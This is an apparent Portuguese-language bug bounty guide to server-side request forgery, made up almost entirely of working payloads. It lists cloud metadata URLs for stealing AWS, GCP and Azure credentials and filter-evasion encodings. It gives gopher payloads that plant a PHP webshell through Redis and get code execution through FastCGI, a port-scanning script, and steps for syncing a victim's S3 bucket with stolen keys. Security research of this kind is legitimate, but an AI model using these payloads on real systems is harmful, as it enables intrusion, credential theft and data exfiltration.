SSRF Deep Dive: Server-Side Request Forgery
Baixar PDFSSRF básico a avançado, cloud metadata exploitation, blind SSRF, gopher protocol, DNS rebinding, bypass techniques — guia completo para bug bounty.
SSRF faz o servidor fazer requisições para URLs controladas pelo atacante. É a vulnerabilidade #1 em ambientes cloud — e uma das mais bem pagas em bug bounty.
Taxonomia SSRF
SSRF
├── In-band (response retorna dados da requisição)
├── Blind/Semi-blind (sem retorno visível)
├── Partial (apenas status code ou timing)
└── Advanced
├── DNS rebinding
├── Gopher protocol
├── Redirecionamento (redirect-based)
└── Chain com outras vulnsCloud Metadata — O Santo Graal
AWS
# IMDSv1 (sem autenticação)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/placement/availability-zone
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/dynamic/instance-identity/document
# IMDSv2 (requer token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
# ECS metadata
http://169.254.170.2/v2/credentials/UUID
http://169.254.170.2/v2/stats
# Lambda
http://localhost:9001/2018-06-01/runtime/invocation/next
# S3 via metadata (se instance profile tem acesso)
http://169.254.169.254/latest/meta-data/iam/security-credentials/S3Role
# Usar access key da response para acessar S3GCP
# Metadata
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
http://metadata.google.internal/computeMetadata/v1/project/project-id
# Header obrigatório no GCP
# Metadata-Flavor: Google
# Service account token
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Retorna OAuth2 access_token para usar na API do GCP
# Custom metadata
http://metadata.google.internal/computeMetadata/v1/instance/attributes/Azure
# Instance Metadata Service (IMDS)
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header obrigatório: Metadata: true
# Managed Identity token
http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/&api-version=2018-02-01
# Header: Metadata: true
# VM extensions
http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01
# Atualmente em SSRF:
http://169.254.169.254/metadata/identity/oauth2/token?resource=https://vault.azure.net/&api-version=2018-02-01
# Header: Metadata: true
# → Token para Azure Key VaultDigitalOcean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostnameAlibaba Cloud
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/Bypass Techniques
IP encoding bypass
# Decimal
http://2130706433 → 127.0.0.1
http://017700000001 → 127.0.0.1 (octal)
http://0x7f000001 → 127.0.0.1 (hex)
# Mixed encoding
http://127.1 → 127.0.0.1
http://0 → 0.0.0.0
http://0177.0.1 → 127.0.0.1
http://0x7f.1 → 127.0.0.1
# Decimal+port
http://2130706433:8080
http://017700000001:8080
# IPv6
http://[::1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://[::ffff:7f00:1]
# Decimal IPv6
http://[::2130706433]URL bypass
# Subdomain redirect
http://127.0.0.1.nip.io
http://127.0.0.1.sslip.io
http://127.0.0.1.xip.io
# URL authority bypass
http://[email protected]
http://127.0.0.1#@attacker.com
http://127.0.0.1%[email protected]
# Protocol confusion
http://127.0.0.1:80/path#fragment
http://127.0.0.1:80%2fpath
http://127.0.0.1%00:80/path
# Double encoding
http://%31%32%37%2e%30%2e%30%2e%31 → 127.0.0.1
# DNS rebinding
# attacker.com resolves to 1.2.3.4 first, then 127.0.0.1
# Usar rbndr.us dns rebinding service
http://7f000001.c0a80001.rbndr.us
# Redirect-based SSRF
# Servidor fetcha attacker.com que redireciona para 169.254.169.254
# Se servidor não segue redirects → SSRF via redirectFilter bypass
# Blacklist de "localhost" / "127.0.0.1"
http://127.1
http://0
http://0177.0.0.1
http://[::1]
http://127.0.0.1.nip.io
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
# Blacklist de "169.254.169.254"
http://0251.0376.0251.0376 (octal)
http://0xa9fea9fe (hex)
http://2852039166 (decimal)
http://169.254.169.254.nip.io
# URL parser confusion
http://127.0.0.1:[email protected] → parser pode extrair 127.0.0.1
http://attacker.com#127.0.0.1 → fragment não enviado ao servidor
http://127.0.0.1%00.attacker.com → null byte no hostname
# Case sensitivity
HTTP://127.0.0.1
HtTp://127.0.0.1
# @ in userinfo
http://[email protected]Blind SSRF
Detecção
# Usar Burp Collaborator
# Inserir URL no campo vulnerável e verificar callback
# interact.sh (gratuito)
interactsh-client -server interact.sh
# Gerar payload: http://UNIQUE_ID.interact.sh
# Canary tokens
https://canarytokens.com/generate → escolher "Web bug"
# DNSLOG.cn (gratuito para chineses, funciona globalmente)
http://UNIQUE.dnslog.cn
# Timing-based detection
# Comparar tempo de resposta:
http://127.0.0.1:22 → timeout (porta fechada) = ~10s
http://127.0.0.1:80 → resposta rápida = ~200ms
http://127.0.0.1:3306 → resposta média = ~1sPort scanning via Blind SSRF
import requests
import time
target_url = "https://target.com/api/fetch"
ports = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]
for port in ports:
start = time.time()
r = requests.get(target_url, params={"url": f"http://127.0.0.1:{port}"}, timeout=10)
elapsed = time.time() - start
if elapsed < 1:
print(f"Port {port}: OPEN ({elapsed:.2f}s)")
elif elapsed < 9:
print(f"Port {port}: FILTERED ({elapsed:.2f}s)")
else:
print(f"Port {port}: CLOSED (timeout)")Gopher Protocol
Gopher permite enviar bytes arbitrários — útil para atacar serviços internos via SSRF.
# Formato gopher
gopher://host:port/_PAYLOAD
# Atacar Redis via gopher
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a
# Escrever webshell via Redis
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0AINFO%0D%0A
%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/var/www/html%0D%0A
%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A
%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0Ax%0D%0A%24%0D%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0D%0A
%2A1%0D%0A%244%0D%0ASAVE%0D%0A%0D%0A
# Atacar MySQL via gopher (não autenticado)
gopher://127.0.0.1:3306/_PAYLOAD_MYSQL_HANDSHAKE
# Atacar SMTP via gopher
gopher://127.0.0.1:25/_MAIL%20FROM:[email protected]%0ARCPT%20TO:[email protected]%0ADATA%0ASubject:SSRF%0A%0Ahacked%0A.%0A
# Atacar FastCGI via gopher
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%00%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09%50HP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27id%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%27%29%3B%20%3F%3E%01%00%00%00%00Gopherus (ferramenta)
# Instalar
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus && python3 gopherus.py --exploit
# Gerar payload para Redis
python3 gopherus.py --exploit redis
# Escolher: PHP shell, crontab, SSH key, etc.
# Gerar payload para MySQL
python3 gopherus.py --exploit mysql
# Root sem senha
# Gerar payload para SMTP
python3 gopherus.py --exploit smtp
# Enviar email
# Gerar payload para FastCGI
python3 gopherus.py --exploit fastcgi
# /var/www/html/index.php → LFI/RCESSRF Chains
SSRF → LFI
1. SSRF em PDF export
2. URL: file:///etc/passwd
3. PDF gerado contém /etc/passwd
# Outros endpoints comuns de PDF:
/api/export?url=file:///etc/shadow
/api/invoice?pdf_url=file:///proc/self/environ
/api/report?template=file:///etc/hostsSSRF → RCE (via Redis)
1. SSRF permite acesso a Redis (porta 6379)
2. Redis sem autenticação
3. Via gopher: escrever crontab com reverse shell
4. Resultado: RCE no servidor
# Ou escrever webshell:
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET x "<?php system($_GET['cmd']); ?>"
SAVESSRF → AWS CLI access
1. SSRF acessa http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role
2. Obtém AccessKeyId, SecretAccessKey, Token
3. Configura AWS CLI com essas credenciais
4. Enumera S3 buckets, Lambda, etc.
5. Possível exfiltração massiva de dados
$ export AWS_ACCESS_KEY_ID=ASIA...
$ export AWS_SECRET_ACCESS_KEY=...
$ export AWS_SESSION_TOKEN=...
$ aws s3 ls
$ aws s3 sync s3://target-bucket ./exfil/Ferramentas
# SSRFmap (automatizado)
python3 ssrfmap.py -r request.txt -p url -m readfiles
# gopherus (gera payloads gopher)
python3 gopherus.py --exploit redis
# interact.sh (blind SSRF detection)
interactsh-client
# Burp Collaborator (Pro only)
# Extensão: Collaborator Everywhere
# Detecta SSRF em headers: Referer, X-Forwarded-For, etc.Referências
SQL Injection: exploração completa
UNION-based, blind boolean, blind time, out-of-band, second-order, NoSQL injection, ORM injection, WAF bypass — SQLi do básico ao avançado.
File Upload Vulnerabilities
Bypass de upload de arquivos, web shells, polyglots, path traversal via upload, exiftool exploitation, SVG XSS — explorando uploads mal configurados.